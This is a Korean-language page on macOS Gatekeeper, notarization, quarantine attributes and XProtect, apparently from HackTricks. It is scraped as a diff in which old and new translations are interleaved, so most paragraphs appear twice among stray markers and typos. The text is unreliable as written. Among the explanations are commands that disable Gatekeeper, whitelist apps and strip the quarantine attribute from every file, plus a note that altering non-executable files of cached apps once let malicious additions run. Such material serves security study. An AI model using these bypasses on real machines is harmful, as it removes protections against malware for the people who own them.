2. **애플리케이션 배포:** 서명된 애플리케이션은 사용자에게 개발자의 인증서와 함께 제공됩니다. 이 인증서에는 해당하는 공개 키가 포함되어 있습니다.
|
||||
3. **애플리케이션 확인:** 사용자가 애플리케이션을 다운로드하고 실행하려고 할 때, Mac 운영 체제는 개발자의 인증서에서 공개 키를 사용하여 해시를 복호화합니다. 그런 다음 애플리케이션의 현재 상태를 기반으로 해시를 다시 계산하고 이를 복호화된 해시와 비교합니다. 일치하면, **개발자가 서명한 이후로 애플리케이션이 수정되지 않았음**을 의미하며 시스템은 애플리케이션을 실행할 수 있습니다.
|
||||
|
||||
애플리케이션 서명은 Apple의 Gatekeeper 기술의 중요한 부분입니다. 사용자가 **인터넷에서 다운로드한 애플리케이션을 열려고 할 때**, Gatekeeper는 애플리케이션 서명을 확인합니다. Apple이 알려진 개발자에게 발급한 인증서로 서명되었고 코드가 변경되지 않았다면, Gatekeeper는 애플리케이션을 실행할 수 있도록 허용합니다. 그렇지 않으면, 애플리케이션을 차단하고 사용자에게 경고를 표시합니다.
|
||||
애플리케이션 서명은 Apple의 Gatekeeper 기술의 중요한 부분입니다. 사용자가 **인터넷에서 다운로드한 애플리케이션을 열려고 시도**할 때, Gatekeeper는 애플리케이션 서명을 확인합니다. Apple이 알려진 개발자에게 발급한 인증서로 서명되었고 코드가 변경되지 않았다면, Gatekeeper는 애플리케이션을 실행할 수 있습니다. 그렇지 않으면 애플리케이션을 차단하고 사용자에게 경고합니다.
|
||||
|
||||
macOS Catalina부터는 **Gatekeeper는 애플에 의해 인증**된지 여부도 확인합니다. 인증 프로세스는 애플리케이션을 알려진 보안 문제와 악성 코드에 대해 검사하고 이러한 검사를 통과하면 애플이 Gatekeeper가 확인할 수 있는 티켓을 애플리케이션에 추가합니다.
|
||||
macOS Catalina부터 **Gatekeeper는 애플이 노타라이즈**한지 여부도 확인하여 추가적인 보안 층을 추가합니다. 노타라이즷 프로세스는 애플리케이션을 알려진 보안 문제와 악성 코드로 검사하고 이러한 검사를 통과하면 Apple은 Gatekeeper가 확인할 수 있는 애플리케이션에 티켓을 추가합니다.
|
||||
|
||||
#### 서명 확인
|
||||
|
||||
악성 코드 샘플을 확인할 때는 항상 이진 파일의 **서명을 확인**해야 합니다. 서명한 **개발자**가 이미 **악성 코드와 관련**되어 있을 수 있기 때문입니다.
|
||||
|
||||
일부 **악성 코드 샘플**을 확인할 때는 항상 **바이너리의 서명을 확인**해야 합니다. 왜냐하면 **서명한 개발자**가 이미 **악성 코드와 관련**되어 있을 수 있기 때문입니다.
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -56,36 +58,32 @@ spctl --assess --verbose /Applications/Safari.app
|
|||
# Sign a binary
|
||||
codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
### 승인
|
||||
|
||||
### Notarization
|
||||
애플의 승인 프로세스는 사용자를 잠재적으로 해로운 소프트웨어로부터 보호하는 추가적인 안전장치로 작용합니다. 이는 개발자가 자신의 애플리케이션을 애플의 승인 서비스에 제출하여 검토를 받는 과정을 포함합니다. 이 서비스는 악성 콘텐츠의 존재와 코드 서명에 대한 잠재적인 문제를 확인하는 자동화된 시스템입니다.
|
||||
|
||||
애플의 노타리제이션 프로세스는 사용자가 잠재적으로 해로운 소프트웨어로부터 보호되는 추가적인 안전장치로 작용합니다. 이 프로세스는 개발자가 애플의 노타리 서비스에 소프트웨어를 제출하는 것을 포함하며, 이는 앱 리뷰와 혼동해서는 안 됩니다. 이 서비스는 악성 콘텐츠와 코드 서명에 관련된 잠재적인 문제를 확인하기 위해 제출된 소프트웨어를 자동으로 검토하는 시스템입니다.
|
||||
소프트웨어가 이 검사를 통과하고 어떠한 우려도 일으키지 않는다면, 승인 서비스는 승인 티켓을 생성합니다. 그러면 개발자는 이 티켓을 자신의 소프트웨어에 첨부해야 하는데, 이를 '스테이플링'이라고 합니다. 더 나아가, 승인 티켓은 게이트키퍼(Gatekeeper), 애플의 보안 기술이 액세스할 수 있는 온라인에도 게시됩니다.
|
||||
|
||||
소프트웨어가 이러한 검토를 거쳐 문제가 없다고 판단되면, 노타리 서비스는 노타리제이션 티켓을 생성합니다. 그런 다음, 개발자는 이 티켓을 소프트웨어에 첨부해야 하는데, 이 과정을 '스테이플링'이라고 합니다. 노타리제이션 티켓은 또한 온라인에도 게시되어 게이트키퍼(Gatekeeper), 애플의 보안 기술,에서 액세스할 수 있습니다.
|
||||
사용자가 소프트웨어를 처음 설치하거나 실행할 때, 실행 파일에 첨부되어 있거나 온라인에서 발견된 승인 티켓의 존재는 게이트키퍼에게 소프트웨어가 애플에 의해 승인되었음을 알려줍니다. 결과적으로, 게이트키퍼는 초기 실행 대화상자에 보안 콘텐츠를 확인했다는 설명 메시지를 표시합니다. 이 과정은 사용자가 시스템에 설치하거나 실행하는 소프트웨어의 보안에 대한 신뢰를 높이는 데 도움이 됩니다.
|
||||
|
||||
사용자가 소프트웨어를 처음 설치하거나 실행할 때, 실행 파일에 첨부되어 있거나 온라인에서 찾을 수 있는 노타리제이션 티켓의 존재는 게이트키퍼에게 소프트웨어가 애플에 의해 노타리제이션된 것임을 알려줍니다. 결과적으로, 게이트키퍼는 초기 실행 대화 상자에 설명적인 메시지를 표시하여 소프트웨어가 애플에 의해 악성 콘텐츠에 대한 검사를 받았음을 알려줍니다. 이 프로세스는 사용자가 시스템에 설치하거나 실행하는 소프트웨어의 보안에 대한 신뢰도를 향상시킵니다.
|
||||
### 게이트키퍼 열거
|
||||
|
||||
### GateKeeper 열거
|
||||
|
||||
GateKeeper는 신뢰할 수 없는 앱의 실행을 방지하는 여러 보안 구성 요소와 동시에 하나의 구성 요소입니다.
|
||||
|
||||
GateKeeper의 상태를 확인하는 것이 가능합니다:
|
||||
게이트키퍼는 믿을 수 없는 앱이 실행되는 것을 방지하는 여러 보안 구성 요소이자 구성 요소 중 하나입니다.
|
||||
|
||||
게이트키퍼의 상태를 확인하는 것이 가능합니다:
|
||||
```bash
|
||||
# Check the status
|
||||
spctl --status
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
GateKeeper 서명 검사는 **격리 속성을 가진 파일**에 대해서만 수행됩니다. 모든 파일에 대해서는 수행되지 않습니다.
|
||||
GateKeeper 서명 확인은 **격리 속성이 있는 파일**에 대해서만 수행됨을 유의하십시오.
|
||||
{% endhint %}
|
||||
|
||||
GateKeeper는 **환경 설정 및 서명**에 따라 이진 파일을 실행할 수 있는지 확인합니다:
|
||||
GateKeeper는 바이너리가 실행될 수 있는지를 **환경 설정 및 서명**에 따라 확인합니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 구성을 유지하는 데이터베이스는 \*\*`/var/db/SystemPolicy`\*\*에 위치합니다. 다음 명령을 root로 실행하여 이 데이터베이스를 확인할 수 있습니다:
|
||||
<figure><img src="../../../.gitbook/assets/image (1147).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 구성을 유지하는 데이터베이스는 **`/var/db/SystemPolicy`**에 위치해 있습니다. 다음과 같이 루트로 이 데이터베이스를 확인할 수 있습니다:
|
||||
```bash
|
||||
# Open database
|
||||
sqlite3 /var/db/SystemPolicy
|
||||
|
@ -99,12 +97,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
|||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||
[...]
|
||||
```
|
||||
참고로 첫 번째 규칙이 "**App Store**"로 끝나고 두 번째 규칙이 "**Developer ID**"로 끝나며, 이전 이미지에서는 **App Store 및 식별된 개발자로부터 앱 실행이 허용**되었습니다.\
|
||||
만약 해당 설정을 App Store로 **수정**하면 "**Notarized Developer ID" 규칙이 사라질 것**입니다.
|
||||
|
||||
첫 번째 규칙이 "**App Store**"로 끝나고 두 번째 규칙이 "**Developer ID**"로 끝났음을 주목하세요. 그리고 이전 이미지에서는 **App Store 및 식별된 개발자로부터 앱을 실행할 수 있도록** 설정되어 있었습니다.\
|
||||
만약 그 설정을 App Store로 **변경**하면 "**Notarized Developer ID" 규칙이 사라집니다**.
|
||||
|
||||
또한 **GKE 유형의 수천 개의 규칙**이 있습니다.
|
||||
|
||||
또한 **GKE 유형의 수천 개의 규칙**이 있습니다:
|
||||
```bash
|
||||
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
||||
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
||||
|
@ -113,17 +109,13 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
|
|||
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
||||
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||
```
|
||||
|
||||
다음은 **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** 및 \*\*`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`\*\*에서 가져온 해시입니다.
|
||||
다음은 **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** 및 **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**에서 나오는 해시입니다.
|
||||
|
||||
또는 이전 정보를 다음과 같이 나열할 수도 있습니다:
|
||||
|
||||
```bash
|
||||
sudo spctl --list
|
||||
```
|
||||
|
||||
\*\*`spctl`\*\*의 \*\*`--master-disable`\*\*와 **`--global-disable`** 옵션은 이러한 서명 검사를 완전히 **비활성화**합니다:
|
||||
|
||||
옵션 **`--master-disable`** 및 **`--global-disable`**은 **`spctl`**의 서명 확인을 완전히 **비활성화**합니다:
|
||||
```bash
|
||||
# Disable GateKeeper
|
||||
spctl --global-disable
|
||||
|
@ -133,19 +125,15 @@ spctl --master-disable
|
|||
spctl --global-enable
|
||||
spctl --master-enable
|
||||
```
|
||||
|
||||
완전히 활성화되면 새로운 옵션이 나타납니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
GateKeeper로 **앱이 허용될지 확인**할 수 있습니다.
|
||||
<figure><img src="../../../.gitbook/assets/image (1148).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
다음을 사용하여 **GateKeeper가 앱을 허용할지 확인**할 수 있습니다:
|
||||
```bash
|
||||
spctl --assess -v /Applications/App.app
|
||||
```
|
||||
|
||||
GateKeeper에 새로운 규칙을 추가하여 특정 앱의 실행을 허용할 수 있습니다. 다음과 같이 진행할 수 있습니다:
|
||||
|
||||
GateKeeper에 새 규칙을 추가하여 특정 앱의 실행을 허용할 수 있습니다:
|
||||
```bash
|
||||
# Check if allowed - nop
|
||||
spctl --assess -v /Applications/App.app
|
||||
|
@ -160,29 +148,27 @@ sudo spctl --enable --label "whitelist"
|
|||
spctl --assess -v /Applications/App.app
|
||||
/Applications/App.app: accepted
|
||||
```
|
||||
### 파일 격리
|
||||
|
||||
### 격리 파일
|
||||
**응용 프로그램**이나 파일을 **다운로드**할 때, macOS **응용 프로그램**은 다운로드된 파일에 "**격리 플래그**"로 알려진 확장 파일 속성을 **부착**합니다. 이 속성은 파일을 신뢰할 수 없는 출처(인터넷)에서 가져온 것으로 **표시**하고 잠재적인 위험을 가지고 있을 수 있다고 보안 조치로 작용합니다. 그러나 일부 응용 프로그램은 이 속성을 부착하지 않습니다. 예를 들어, 일반적인 비트토렌트 클라이언트 소프트웨어는 일반적으로 이 프로세스를 우회합니다.
|
||||
|
||||
애플리케이션 또는 파일을 다운로드하면 macOS의 웹 브라우저나 이메일 클라이언트와 같은 특정 애플리케이션은 다운로드한 파일에 "**격리 플래그**"라고 알려진 확장 파일 속성을 부착합니다. 이 속성은 파일을 신뢰할 수 없는 출처(인터넷)에서 가져온 것으로 표시하고 잠재적인 위험을 가질 수 있으므로 보안 조치로 작동합니다. 그러나 일부 애플리케이션은 이 속성을 부착하지 않습니다. 예를 들어, 일반적인 BitTorrent 클라이언트 소프트웨어는 이 프로세스를 우회합니다.
|
||||
**격리 플래그가 존재하는 경우 사용자가 파일을 실행하려고 시도할 때 macOS의 Gatekeeper 보안 기능에 신호를 보냅니다**.
|
||||
|
||||
**격리 플래그가 없는 경우**(일부 BitTorrent 클라이언트를 통해 다운로드된 파일과 같은 경우), 사용자가 파일을 실행하려고 할 때 macOS의 Gatekeeper 보안 기능에 신호를 보냅니다.
|
||||
|
||||
격리 플래그가 없는 경우 Gatekeeper의 검사가 수행되지 않을 수 있습니다. 따라서 사용자는 보안이 적은 또는 알려지지 않은 출처에서 다운로드한 파일을 열 때 주의해야 합니다.
|
||||
격리 플래그가 **없는 경우**(일부 비트토렌트 클라이언트를 통해 다운로드된 파일 등), Gatekeeper의 **검사가 수행되지 않을 수 있습니다**. 따라서 사용자는 보안이 취약하거나 알려지지 않은 소스에서 다운로드한 파일을 열 때 주의해야 합니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
코드 서명의 **유효성**을 확인하는 것은 코드와 모든 번들된 리소스의 암호화 해시를 생성하는 등 **리소스를 많이 사용하는 프로세스**입니다. 또한 인증서의 유효성을 확인하기 위해서는 발급 후에 취소되었는지 Apple의 서버에 온라인으로 확인해야 합니다. 이러한 이유로 전체 코드 서명 및 인증 검사는 **앱이 실행될 때마다 실행하기에는 비현실적**입니다.
|
||||
코드 서명의 **유효성**을 **확인**하는 것은 코드 및 모든 번들된 리소스의 암호화 **해시**를 생성하는 등 **리소스 집약적인** 프로세스입니다. 또한 인증서 유효성을 확인하려면 발급된 후에 취소되었는지 Apple의 서버에 **온라인 확인**을 해야 합니다. 이러한 이유로 앱을 실행할 때마다 완전한 코드 서명 및 인증 확인은 **실용적이지 않습니다**.
|
||||
|
||||
따라서 이러한 검사는 **격리 속성이 있는 앱을 실행할 때만 실행**됩니다.
|
||||
따라서 이러한 확인은 **격리된 속성을 가진 앱을 실행할 때에만 수행**됩니다.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
이 속성은 파일을 생성/다운로드하는 애플리케이션에 의해 **설정**되어야 합니다.
|
||||
이 속성은 파일을 생성/다운로드하는 **응용 프로그램에 의해 설정**되어야 합니다.
|
||||
|
||||
그러나 샌드박스에 있는 파일은 생성하는 모든 파일에 이 속성이 설정됩니다. 샌드박스가 없는 앱은 이 속성을 직접 설정하거나 **Info.plist**에 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) 키를 지정하여 시스템이 생성된 파일에 `com.apple.quarantine` 확장 속성을 설정하도록 할 수 있습니다.
|
||||
그러나 샌드박스에 있는 파일은 생성되는 모든 파일에 이 속성이 설정됩니다. 샌드박스에 있지 않은 앱은 스스로 설정하거나 **Info.plist**에서 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) 키를 지정하여 시스템이 파일에 `com.apple.quarantine` 확장 속성을 설정하도록 할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
다음과 같이 상태를 **확인하고 활성화/비활성화**할 수 있습니다(루트 권한 필요):
|
||||
|
||||
상태를 **확인하고 활성화/비활성화**할 수 있습니다(루트 권한 필요) :
|
||||
```bash
|
||||
spctl --status
|
||||
assessments enabled
|
||||
|
@ -191,23 +177,13 @@ spctl --enable
|
|||
spctl --disable
|
||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||
```
|
||||
|
||||
다음과 같이 **파일이 격리 확장 속성을 가지고 있는지 확인**할 수도 있습니다:
|
||||
|
||||
```bash
|
||||
xattr -p com.apple.quarantine <file_path>
|
||||
```
|
||||
|
||||
이 명령은 `<file_path>`에 지정된 파일의 `com.apple.quarantine` 속성을 출력합니다.
|
||||
|
||||
파일이 **격리 확장 속성을 가지고 있는지 확인할 수도 있습니다**.
|
||||
```bash
|
||||
xattr file.png
|
||||
com.apple.macl
|
||||
com.apple.quarantine
|
||||
```
|
||||
|
||||
**확장 속성**의 **값**을 확인하고 다음과 같이 quarantine 속성을 작성한 앱을 찾습니다.
|
||||
|
||||
**확장 속성**의 **값**을 확인하고 quarantine 속성을 작성한 앱을 찾으세요:
|
||||
```bash
|
||||
xattr -l portada.png
|
||||
com.apple.macl:
|
||||
|
@ -223,44 +199,79 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
|||
# Brave -- App
|
||||
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
||||
```
|
||||
|
||||
실제로 프로세스는 생성하는 파일에 격리 플래그를 설정할 수 있습니다 (생성된 파일에 USER\_APPROVED 플래그를 적용해 보았지만 적용되지 않았습니다):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>격리 플래그 적용 소스 코드</summary>
|
||||
<summary>소스 코드 격리 플래그 적용</summary>
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
\`\`\`c #include #include
|
||||
enum qtn_flags {
|
||||
QTN_FLAG_DOWNLOAD = 0x0001,
|
||||
QTN_FLAG_SANDBOX = 0x0002,
|
||||
QTN_FLAG_HARD = 0x0004,
|
||||
QTN_FLAG_USER_APPROVED = 0x0040,
|
||||
};
|
||||
|
||||
enum qtn\_flags { QTN\_FLAG\_DOWNLOAD = 0x0001, QTN\_FLAG\_SANDBOX = 0x0002, QTN\_FLAG\_HARD = 0x0004, QTN\_FLAG\_USER\_APPROVED = 0x0040, };
|
||||
#define qtn_proc_alloc _qtn_proc_alloc
|
||||
#define qtn_proc_apply_to_self _qtn_proc_apply_to_self
|
||||
#define qtn_proc_free _qtn_proc_free
|
||||
#define qtn_proc_init _qtn_proc_init
|
||||
#define qtn_proc_init_with_self _qtn_proc_init_with_self
|
||||
#define qtn_proc_set_flags _qtn_proc_set_flags
|
||||
#define qtn_file_alloc _qtn_file_alloc
|
||||
#define qtn_file_init_with_path _qtn_file_init_with_path
|
||||
#define qtn_file_free _qtn_file_free
|
||||
#define qtn_file_apply_to_path _qtn_file_apply_to_path
|
||||
#define qtn_file_set_flags _qtn_file_set_flags
|
||||
#define qtn_file_get_flags _qtn_file_get_flags
|
||||
#define qtn_proc_set_identifier _qtn_proc_set_identifier
|
||||
|
||||
\#define qtn\_proc\_alloc \_qtn\_proc\_alloc #define qtn\_proc\_apply\_to\_self \_qtn\_proc\_apply\_to\_self #define qtn\_proc\_free \_qtn\_proc\_free #define qtn\_proc\_init \_qtn\_proc\_init #define qtn\_proc\_init\_with\_self \_qtn\_proc\_init\_with\_self #define qtn\_proc\_set\_flags \_qtn\_proc\_set\_flags #define qtn\_file\_alloc \_qtn\_file\_alloc #define qtn\_file\_init\_with\_path \_qtn\_file\_init\_with\_path #define qtn\_file\_free \_qtn\_file\_free #define qtn\_file\_apply\_to\_path \_qtn\_file\_apply\_to\_path #define qtn\_file\_set\_flags \_qtn\_file\_set\_flags #define qtn\_file\_get\_flags \_qtn\_file\_get\_flags #define qtn\_proc\_set\_identifier \_qtn\_proc\_set\_identifier
|
||||
typedef struct _qtn_proc *qtn_proc_t;
|
||||
typedef struct _qtn_file *qtn_file_t;
|
||||
|
||||
typedef struct \_qtn\_proc \*qtn\_proc\_t; typedef struct \_qtn\_file \*qtn\_file\_t;
|
||||
|
||||
int qtn\_proc\_apply\_to\_self(qtn\_proc\_t); void qtn\_proc\_init(qtn\_proc\_t); int qtn\_proc\_init\_with\_self(qtn\_proc\_t); int qtn\_proc\_set\_flags(qtn\_proc\_t, uint32\_t flags); qtn\_proc\_t qtn\_proc\_alloc(); void qtn\_proc\_free(qtn\_proc\_t); qtn\_file\_t qtn\_file\_alloc(void); void qtn\_file\_free(qtn\_file\_t qf); int qtn\_file\_set\_flags(qtn\_file\_t qf, uint32\_t flags); uint32\_t qtn\_file\_get\_flags(qtn\_file\_t qf); int qtn\_file\_apply\_to\_path(qtn\_file\_t qf, const char \*path); int qtn\_file\_init\_with\_path(qtn\_file\_t qf, const char _path); int qtn\_proc\_set\_identifier(qtn\_proc\_t qp, const char_ bundleid);
|
||||
int qtn_proc_apply_to_self(qtn_proc_t);
|
||||
void qtn_proc_init(qtn_proc_t);
|
||||
int qtn_proc_init_with_self(qtn_proc_t);
|
||||
int qtn_proc_set_flags(qtn_proc_t, uint32_t flags);
|
||||
qtn_proc_t qtn_proc_alloc();
|
||||
void qtn_proc_free(qtn_proc_t);
|
||||
qtn_file_t qtn_file_alloc(void);
|
||||
void qtn_file_free(qtn_file_t qf);
|
||||
int qtn_file_set_flags(qtn_file_t qf, uint32_t flags);
|
||||
uint32_t qtn_file_get_flags(qtn_file_t qf);
|
||||
int qtn_file_apply_to_path(qtn_file_t qf, const char *path);
|
||||
int qtn_file_init_with_path(qtn_file_t qf, const char *path);
|
||||
int qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid);
|
||||
|
||||
int main() {
|
||||
|
||||
qtn\_proc\_t qp = qtn\_proc\_alloc(); qtn\_proc\_set\_identifier(qp, "xyz.hacktricks.qa"); qtn\_proc\_set\_flags(qp, QTN\_FLAG\_DOWNLOAD | QTN\_FLAG\_USER\_APPROVED); qtn\_proc\_apply\_to\_self(qp); qtn\_proc\_free(qp);
|
||||
qtn_proc_t qp = qtn_proc_alloc();
|
||||
qtn_proc_set_identifier(qp, "xyz.hacktricks.qa");
|
||||
qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED);
|
||||
qtn_proc_apply_to_self(qp);
|
||||
qtn_proc_free(qp);
|
||||
|
||||
FILE \*fp; fp = fopen("thisisquarantined.txt", "w+"); fprintf(fp, "Hello Quarantine\n"); fclose(fp);
|
||||
FILE *fp;
|
||||
fp = fopen("thisisquarantined.txt", "w+");
|
||||
fprintf(fp, "Hello Quarantine\n");
|
||||
fclose(fp);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
````
|
||||
```
|
||||
</details>
|
||||
|
||||
그리고 다음과 같이 그 속성을 **제거**하십시오:
|
||||
그 **속성을** 다음과 같이 제거하십시오:
|
||||
```bash
|
||||
xattr -d com.apple.quarantine portada.png
|
||||
#You can also remove this attribute from every file with
|
||||
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
||||
````
|
||||
|
||||
다음 명령어를 사용하여 모든 격리된 파일을 찾으세요:
|
||||
```
|
||||
그리고 다음을 사용하여 모든 격리된 파일을 찾습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -268,21 +279,21 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Quarantine 정보는 LaunchServices가 관리하는 중앙 데이터베이스인 \*\*`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`\*\*에 저장됩니다.
|
||||
**격리 정보**는 **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**에서 관리되는 중앙 데이터베이스에 저장됩니다.
|
||||
|
||||
**Quarantine.kext**
|
||||
#### **Quarantine.kext**
|
||||
|
||||
커널 확장은 시스템의 커널 캐시를 통해서만 사용할 수 있습니다. 그러나 \*\*https://developer.apple.com/\*\*에서 **Kernel Debug Kit**을 다운로드하여 커널 확장의 심볼화된 버전을 얻을 수 있습니다.
|
||||
커널 확장 프로그램은 시스템의 **커널 캐시를 통해서만** 사용할 수 있습니다; 그러나 **https://developer.apple.com/**에서 **커널 디버그 키트를 다운로드**하여 확장 프로그램의 심볼화된 버전을 얻을 수 있습니다.
|
||||
|
||||
#### XProtect
|
||||
### XProtect
|
||||
|
||||
XProtect는 macOS에 내장된 **안티-악성코드** 기능입니다. XProtect는 알려진 악성코드 및 위험한 파일 유형의 데이터베이스와 비교하여 애플리케이션이 처음 실행되거나 수정될 때마다 해당 애플리케이션을 확인합니다. Safari, Mail, 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드할 때 XProtect가 자동으로 파일을 스캔합니다. 데이터베이스에 알려진 악성코드와 일치하는 경우, XProtect는 파일 실행을 **차단하고 위협을 알립니다**.
|
||||
XProtect는 macOS의 내장 **안티 맬웨어** 기능입니다. XProtect는 **애플리케이션이 처음 실행되거나 수정될 때 해당 데이터베이스**에서 알려진 맬웨어 및 안전하지 않은 파일 유형을 확인합니다. Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드할 때 XProtect가 파일을 자동으로 스캔합니다. 데이터베이스에서 알려진 맬웨어와 일치하는 경우 XProtect가 **파일 실행을 방지**하고 위협을 알립니다.
|
||||
|
||||
XProtect 데이터베이스는 애플에서 정기적으로 업데이트되며, 이러한 업데이트는 자동으로 Mac에 다운로드되고 설치됩니다. 이를 통해 XProtect가 항상 최신 알려진 위협과 함께 업데이트되도록 보장됩니다.
|
||||
XProtect 데이터베이스는 애플에 의해 **정기적으로 업데이트**되며 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이를 통해 XProtect가 항상 최신 알려진 위협과 함께 업데이트되도록 보장됩니다.
|
||||
|
||||
그러나 XProtect는 **완전한 기능을 갖춘 백신 솔루션은 아닙니다**. XProtect는 특정 알려진 위협 목록만 확인하며 대부분의 백신 소프트웨어와 같이 온액세스 스캐닝을 수행하지 않습니다.
|
||||
그러나 **XProtect는 완전한 기능을 갖춘 백신 솔루션이 아님**을 유의해야 합니다. 특정 알려진 위협 목록을 확인하고 대부분의 백신 소프트웨어와 같이 온액세스 스캔을 수행하지 않습니다.
|
||||
|
||||
최신 XProtect 업데이트에 대한 정보를 얻으려면 다음을 실행합니다:
|
||||
최신 XProtect 업데이트에 대한 정보를 얻으려면 다음을 실행할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -290,79 +301,73 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
XProtect는 SIP로 보호된 위치인 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**에 위치하며, 번들 내부에서 XProtect가 사용하는 정보를 찾을 수 있습니다:
|
||||
XProtect는 SIP로 보호된 위치인 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**에 있으며 번들 내에서 XProtect가 사용하는 정보를 찾을 수 있습니다:
|
||||
|
||||
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: 이 cdhash를 가진 코드가 레거시 entitlement를 사용할 수 있도록 허용합니다.
|
||||
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID 및 TeamID 또는 최소 버전을 나타내는 플러그인 및 확장 기능의 목록입니다.
|
||||
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: 악성 코드를 감지하기 위한 Yara 규칙입니다.
|
||||
* **`XProtect.bundle/Contents/Resources/gk.db`**: 차단된 응용 프로그램 및 TeamID의 해시를 포함하는 SQLite3 데이터베이스입니다.
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: 해당 cdhashes를 사용하여 레거시 권한을 허용하는 코드를 허용합니다.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID 및 TeamID를 통해 로드를 금지하는 플러그인 및 확장 프로그램 목록 또는 최소 버전을 나타냅니다.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: 악성 코드를 감지하기 위한 Yara 규칙입니다.
|
||||
- **`XProtect.bundle/Contents/Resources/gk.db`**: 차단된 응용 프로그램 및 TeamID의 해시가 포함된 SQLite3 데이터베이스입니다.
|
||||
|
||||
XProtect와 관련된 다른 앱인 \*\*`/Library/Apple/System/Library/CoreServices/XProtect.app`\*\*도 있지만, 이 앱은 Gatekeeper 프로세스와 관련이 없습니다.
|
||||
XProtect와 관련된 **`/Library/Apple/System/Library/CoreServices/XProtect.app`**에 다른 앱이 있지만 이는 Gatekeeper 프로세스와 관련이 없습니다.
|
||||
|
||||
#### Gatekeeper가 아닌 것들
|
||||
### Gatekeeper가 아님
|
||||
|
||||
Gatekeeper는 애플리케이션을 실행할 때마다 실행되는 것이 아니라, 이미 Gatekeeper에 의해 실행 및 확인된 앱을 실행할 때에만 _**AppleMobileFileIntegrity**_ (AMFI)가 실행되어 실행 가능한 코드 서명을 확인합니다.
|
||||
{% hint style="danger" %}
|
||||
Gatekeeper가 **모든 실행**마다 실행되는 것이 아니라 _**AppleMobileFileIntegrity**_ (AMFI)가 이미 Gatekeeper에 의해 실행되고 확인된 앱을 실행할 때만 **실행 가능한 코드 서명을 확인**합니다.
|
||||
{% endhint %}
|
||||
|
||||
따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시한 다음 (Electron asar 또는 NIB 파일과 같은) 실행 불가능한 파일을 수정하고 다른 보호 기능이 없는 경우, 애플리케이션에 악성 추가 요소가 포함된 채로 **실행**할 수 있었습니다.
|
||||
따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시하는 것이 가능했고, 그런 다음 애플리케이션의 실행 파일이 아닌 파일(예: Electron asar 또는 NIB 파일)을 **수정**할 수 있었으며 다른 보호 기능이 없는 경우, 애플리케이션에 **악의적인** 추가가 포함된 채로 **실행**될 수 있었습니다.
|
||||
|
||||
